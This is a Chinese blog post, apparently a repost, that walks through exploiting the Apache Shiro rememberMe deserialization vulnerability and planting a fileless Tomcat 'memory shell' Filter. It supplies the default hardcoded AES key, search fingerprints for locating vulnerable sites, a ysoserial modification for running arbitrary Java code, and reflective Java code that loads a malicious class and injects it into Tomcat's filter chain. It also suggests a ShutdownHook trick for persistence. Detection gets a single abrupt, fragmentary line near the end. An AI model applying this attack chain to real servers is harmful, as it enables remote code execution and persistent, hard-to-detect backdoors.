深入Shiro反序列化漏洞与内存马

深入Shiro反序列化漏洞与内存马

上图为Shiro默认的登录页面,页面可见:Shiro提供了记住我(
RememberMe

)的功能。

然而,Shiro对 rememberMe 的cookie做了加密处理,shiro在 CookieRememberMeManaer 类中将cookie中 rememberMe 字段内容分别进行: 序列化AES加密Base64编码 ,三个操作。

而在识别身份的时候,则需要对Cookie里的 rememberMe 字段进行逆操作:

  1. Base64解码
  2. AES解密
  3. 反序列化

由于AES加密的密钥 Key 被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。

因此,攻击者完全可以构造一个恶意的Class对象,并对其 序列化AES加密Base64编码 ,然后作为cookie的 rememberMe 字段发送给Shrio。Shiro将rememberMe进行解密并且反序列化,最终造成 反序列化攻击

PS: Shiro默认的 密钥Key 统一为 kPH+bIxk5D2deZiIxcaaaA== ,同时就算被人为修改过 密钥key ,也可以通过 Padding Oracle 来进行爆破! . 因为我们知道padding只能为: data 0x01 或者 data 0x02 0x02 或者 data 0x03 0x03 0x03 或者 data 0x04 0x04 0x04 0x04 或者 data 0x05 0x05 0x05 0x05 0x05 或者 …… 那如果出现以下这种padding的时候会怎么样呢? data 0x05 0x05 // 正常来说这个padding应为 data 0x05 0x05 0x05 0x05 0x05 . 那解密之后的检验就会出现错误,因为padding的位数和padding内容不一致。 . 如果这个服务没有catch这个错误的话那么程序就会中途报错退出,表现为:如http服务的status code为500。那么这里就给了我们一个爆破的机会!

影响范围

影响版本:

  • Shiro-550反序列化漏洞:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段
  • Shiro-721反序列化漏洞:Apache Shiro < 1.4.2

Google Hacking:

  • header="rememberme=deleteMe"
  • app="Apache-Shiro"
    深入Shiro反序列化漏洞与内存马

漏洞复现

0x01 环境准备

  • 被攻击网站源码(一个shrio-demo):samples-web-1.2.4.war
  • 反序列化工具(神器): ysoserial-0.0.6-SNAPSHOT-all.jar
  • Payload构造小工具(将反序列化payload进行AES加密、Base64编码): poc.py
  • 其他:Tomcat8、Fiddller5(或brup)

以上打包下载地址: https://download.csdn.net/download/localhost01/12618762

0x02 攻击实现

  1. 将samples-web-1.2.4.war扔到Tomcat8
    深入Shiro反序列化漏洞与内存马
  2. 打开Fiddler开启抓包,同时任意点击上面网站链接(如图中的 account page 链接)
    深入Shiro反序列化漏洞与内存马
  3. 构造payload
    深入Shiro反序列化漏洞与内存马
  4. 将payload.cookie的内容扔到cookie,并重放执行
    深入Shiro反序列化漏洞与内存马

如上,可以看到正确执行了 notepad.exe 命令,成功弹出了记事本!

然而默认GitHub下载下来的 ysoserial-0.0.6-SNAPSHOT-all.jar 只支持键入 cmd命令 (即命令执行)。

而如果想要实现下面所说的 内存马 ,我们是需要编写代码让目标程序执行的(即代码执行),因此我们还需要将 ysoserial源码 下载下来,进行部分修改,并重新打包:

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());

        String cmd = "";
         //如果以code:开头,认为是代码,否则认为是命令
        if (!command.startsWith("code:")) {
        	cmd = "java.lang.Runtime.getRuntime().exec(/"" + command.replaceAll("////","////////").replaceAll("/"", "///"") + "/");";}
        else {
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
            cmd = command.substring(5);
        }
​
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)
复制代码
  1. 重新构造payload
    深入Shiro反序列化漏洞与内存马
  2. 将payload.cookie扔到cookie,并重放执行
    深入Shiro反序列化漏洞与内存马

内存马的实现

什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

那么如何实现呢,我们就需要了解一下Filter!

Filter介绍

0x01 Filter工作原理

深入Shiro反序列化漏洞与内存马

我们知道Web程序的核心配置
web.xml 里面包含有
Listener
Filter
Servlet 等组件,而
Filter

程序是一个实现了特殊接口的 Java 类。

它与 Servlet 类似,也是由 Servlet 容器 进行调用和执行的,一般用于进行请求过滤,如 权限控制编码/敏感过滤 等等。

当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行预修改。

0x02 Filter 链在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 对某个 Servlet 程序的访问过程进行拦截,那么当针对该 Servlet 的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链 (也叫 过滤器链 )。

Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将激活下一个 Filter.doFilter() 方法。

最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将激活目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

0x03 Tomcat中Filter流程用户在请求 Tomcat 资源的时候,会调用 ApplicationFilterFactory.createFilterChain() 方法,根据 web.xml 的 Filter 配置,去生成 Filter链

主要代码如下:

filterChain.setServlet(servlet);
	filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
	StandardContext context = (StandardContext)wrapper.getParent();
	FilterMap[] filterMaps = context.findFilterMaps();
	if (filterMaps != null && filterMaps.length != 0) {
	    String servletName = wrapper.getName();
	    FilterMap[] arr$ = filterMaps;
	    int len$ = filterMaps.length;
	
	    int i$;
	    FilterMap filterMap;
	    ApplicationFilterConfig filterConfig;
	    boolean isCometFilter;
	    for(i$ = 0; i$ < len$; ++i$) {
	        filterMap = arr$[i$];
	        if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
	            filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
	            if (filterConfig != null) {
	                isCometFilter = false;
	                if (comet) {
	                    try {
	                        isCometFilter = filterConfig.getFilter() instanceof CometFilter;
	                    } catch (Exception var21) {
	                        Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
	                        ExceptionUtils.handleThrowable(t);
	                    }
	
	                    if (isCometFilter) {
	                        //添加Filter
	                        filterChain.addFilter(filterConfig);
	                    }
	                } else {
	                	//添加Filter
	                    filterChain.addFilter(filterConfig);
	                }
	            }
	        }
	    }
复制代码

解读:

  1. 首先获取当前context,并从context中获取FilterMaps。FIlterMaps的数据结构如下:

    深入Shiro反序列化漏洞与内存马

    我们可以看到,FilterMaps存放了所有的 Filter的名称 需拦截的url正则表达式

  2. 遍历FilterMaps中每一个FilterMap,调用 matchFiltersURL() 这个函数,去确定请求的 urlFilter需拦截的正则表达式 是否匹配。

  3. 如果匹配,则通过 context.findFilterConfig() 方法根据 ** filter 对应的名称 **去查找 context.filterConfigs 中的 filterConfig ,随后将 filterConfig 添加到 Filter.chain 中。

    filterConfig的数据结构如下:

    深入Shiro反序列化漏洞与内存马

    可以看到,其实 filterConfig 里面包含有 filterDef 对象,而 filterDef 对象里面即是真正的 Filter

所以整体层级结构为: context -> filterConfigs(Map) -> filterConfig -> filterDef -> Filter

下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下:

ApplicationFilterConfig filterConfig = this.filters[this.pos++];
	Filter filter = null;
	filter = filterConfig.getFilter();
	this.support.fireInstanceEvent("beforeFilter", filter, request, response);
	filter.doFilter(request, response, this);
	this.support.fireInstanceEvent("afterFilter", filter, request, response);
复制代码

这里我们可以清楚看到:从刚才的 FilterChain 中,遍历每一个 FilterConfig ,然后拿出 FIlterConfig 对应的 filter ,最后调用我们熟悉的 filter.doFilter() 方法。

可以用如下流程图来方便我们理解这个过程:

深入Shiro反序列化漏洞与内存马

可以看出,如果需要动态注册一个 Filter,结合上面的分析,只需要:
反射修改 context 相关字段,将自创建的 Filter 放到 context.filterConfigs 属性中,并在 context.filterMaps 中增加一个 filterNameURL 的映射,即可完成动态注册一个Filter。

编写恶意Filter

编写 MyPayloadFilter.java

payload,自由发挥编写,这里就不说了~

将恶意Filter加载到JVM内存

这里需要将我们写好并编译好的 MyPayloadFilter.class ,通过 反序列化漏洞 加载到被攻击程序的JVM内存中,这样下一步 class.forName() 才能拿到这个 恶意Filter动态注入到Tomcat

那么如何将外部class文件加载到内存中呢?

在这里我们先学习以下 class.forName() 这个方法,查看openjdk的相关源码 https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374

深入Shiro反序列化漏洞与内存马

class.forName 会获取调用方的
classloader ,然后调用
forName0()

,从调用方的 classloader 中查找要查找的类。

当然,这是一个native方法,精简后源码如下 https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104

Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
                              jboolean initialize, jobject loader, jclass caller)
{
    char *clname;
    jclass cls = 0;
    clname = classname;

    cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
    return cls;
}
复制代码

JVM_FindClassFromClassler 的代码在如下位置: https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
                                          jboolean init, jobject loader,
                                          jclass caller))
  JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");

  TempNewSymbol h_name =
       SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
                                           CHECK_NULL);

  oop loader_oop = JNIHandles::resolve(loader);
  oop from_class = JNIHandles::resolve(caller);
  oop protection_domain = NULL;
  if (from_class != NULL && loader_oop != NULL) {
    protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
  }

  Handle h_loader(THREAD, loader_oop);
  Handle h_prot(THREAD, protection_domain);
  jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
                                               h_prot, false, THREAD);

  return result;
JVM_END
复制代码

主要是获取 protectDomain 等相关信息。然后调用 find_class_from_class_loader ,代码如下

jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
                                    Handle loader, Handle protection_domain,
                                    jboolean throwError, TRAPS) {

  Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

  // Check if we should initialize the class
  if (init && klass->is_instance_klass()) {
    klass->initialize(CHECK_NULL);
  }
  return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
复制代码

注意:这里的 Klass 就相当于Java的 class

SystemDictionary::resolve_or_fail 后续会调用 SystemDictionary::resolve_or_null

klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) {
  assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
  if (FieldType::is_array(class_name())) {
	  // 1. 如果是数组的话
    return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  } else {
	  // 2. 如果是普通类的话
    return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  }
}
复制代码

对于咱们来讲, MyPayloadFilter.class 肯定不是数组。

所以我们主要来分析 systemDictionary::resolve_instance_class_or_null 。代码如下:

class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
  ClassLoaderData* loader_data = register_loader(class_loader);
  Dictionary* dictionary = loader_data->dictionary();
  unsigned int d_hash = dictionary->compute_hash(name);
  {
    InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
    if (probe != NULL) return probe;
  }
复制代码

注意:

  • SystemDictionaryDictionary 关系

    SystemDictionary 是用来帮助保存 ClassLoader 加载过的类信息的。准确点说,SystemDictionary 并不是一个容器,真正用来保存类信息的容器是 Dictionary ,每个 class_loader 的 ClassLoaderData 中都保存着一个私有的 Dictionary ,而 SystemDictionary 只是一个拥有很多静态方法的工具类而已,如上的 systemDictionary::resolve_instance_class_or_null()SystemDictionary::resolve_or_null() 等,都是该工具类提供的静态方法;

  • class_loaderdictionary 在Java中的体现

    这里的 class_loader 就类似Java的 ClassLoader ; dictionary 就相当于 ClassLoader 中的 classes 属性,里面存储了所有加载JVM中的class类!

最终通过 dictionary->find() 方法去查到需查询的类。那么对应Java来看,其实也就是查找 classloaderclasses 属性集里面的 class类

因此,我们只需要将 class文件 写入到 classloader.classes 属性中即可!

网上说,需要先使用 defineClass() ,将 网络传输过来的恶意 class byte数组 转换为 class类 ,再使用反射将 class类 写入到 classloader 的 classes 字段!

其实我测试是不需要的, defineClass() 底层会自动将 class类 加载到 classloader 的 classes 字段,如下为 defineClass 的底层实现:

深入Shiro反序列化漏洞与内存马

实测:调用defineClass()方法之前

深入Shiro反序列化漏洞与内存马

实测:调用defineClass()方法之后

深入Shiro反序列化漏洞与内存马

因此,整个实现为:

BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();

String codeClass = base64AndCompress("[MyPayloadFilter.class]"); 

ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass()
.getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);

Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass))
, 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
复制代码

上面我们看到有一个 base64AndCompress() 方法:

如果我们直接将 MyPayloadFilter.class 作为参数进行HTTP请求,会因为payload过大,而超过tomcat的限制,导致tomcat报400 bad request错误。因此我们需要 缩小我们动态加载 Filter 的 payload大小

深入Shiro反序列化漏洞与内存马

将恶意Filter动态注入到Tomcat

0x01 获取context可通过MBean的方式去获取当前context,我们查看一下tomcat的MBean:

深入Shiro反序列化漏洞与内存马

伪代码(具体需要使用
反射

获取下面的各个属性):

Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples-web-1.2.4,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
复制代码

当然,还有很多种办法,这里只是一个例子。

0x02 实例一个FilterMap,用于建立url与Filter名字的映射 FilterMap 的作用建立 urlFilter名字 的关系。在这里我们需要设置我们的 恶意filter 都拦截哪些url。代码如下:

Object filterMap = Class.forName("FilterMap").newInstance();
	Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
	filterMapaddURLPattern.invoke(filterMap, "/*");
	
	//设置filter的名字为testFilter
	Method setFilterName= Class.forName("FilterMap").getMethod("setFilterName", String.class);
	setFilterName.invoke(filterMap, "testFilter");
复制代码

0x03 实例一个FilterDef首先我们实例化一个FilterDef,FilterDef的作用主要为 描述Filter名字与Filter实例的关系 。同时后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef:

Object filterDef = Class.forName("FilterDef").newInstance();
	
	// 1.设置过滤器名字
	Method setFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
	setFilterName.invoke(filterDef, "testFilter");
	
	// 2.设置过滤器实例
	Method setFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
	//通过class.forname拿到我们的攻击Filter
	Class payloadFilter = Class.forName("MyPayloadFilter");
	setFilter.invoke(filterDef, payloadFilter.newInstance());
复制代码

0x04 实例一个FilterConfig(FilterDef为构造参数),并添加至context的filterConfigs属性中这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下

Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
	HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
	Constructor<?>[] filterConfigCon =
	        Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
	filterConfigs.put("testFilter", filterConfigCon[0].newInstance(context, filterDef));
复制代码

以上代码即可将一个恶意Filter注入到Tomcat!

另外网上还有一些 不死WebShell 的方法,如通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的。

ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用: 1.程序正常退出 2.使用System.exit()退出 3.用户使用Ctrl+C触发的中断导致的退出 4.用户注销或者系统关机 5.OutofMemory导致的退出 6.Kill pid命令导致的退出 ShutdownHook可以很好的保证在tomcat关闭时,让我们有机会埋下复活的种子!

2、tomcat->Catalina/Filter节点,检查是否存在我们不认识的、没有在web.xml中配置或filterClass为空的Filter,如图:

原文 

https://juejin.im/post/5f0e98406fb9a07ea929e54d

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 深入Shiro反序列化漏洞与内存马

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址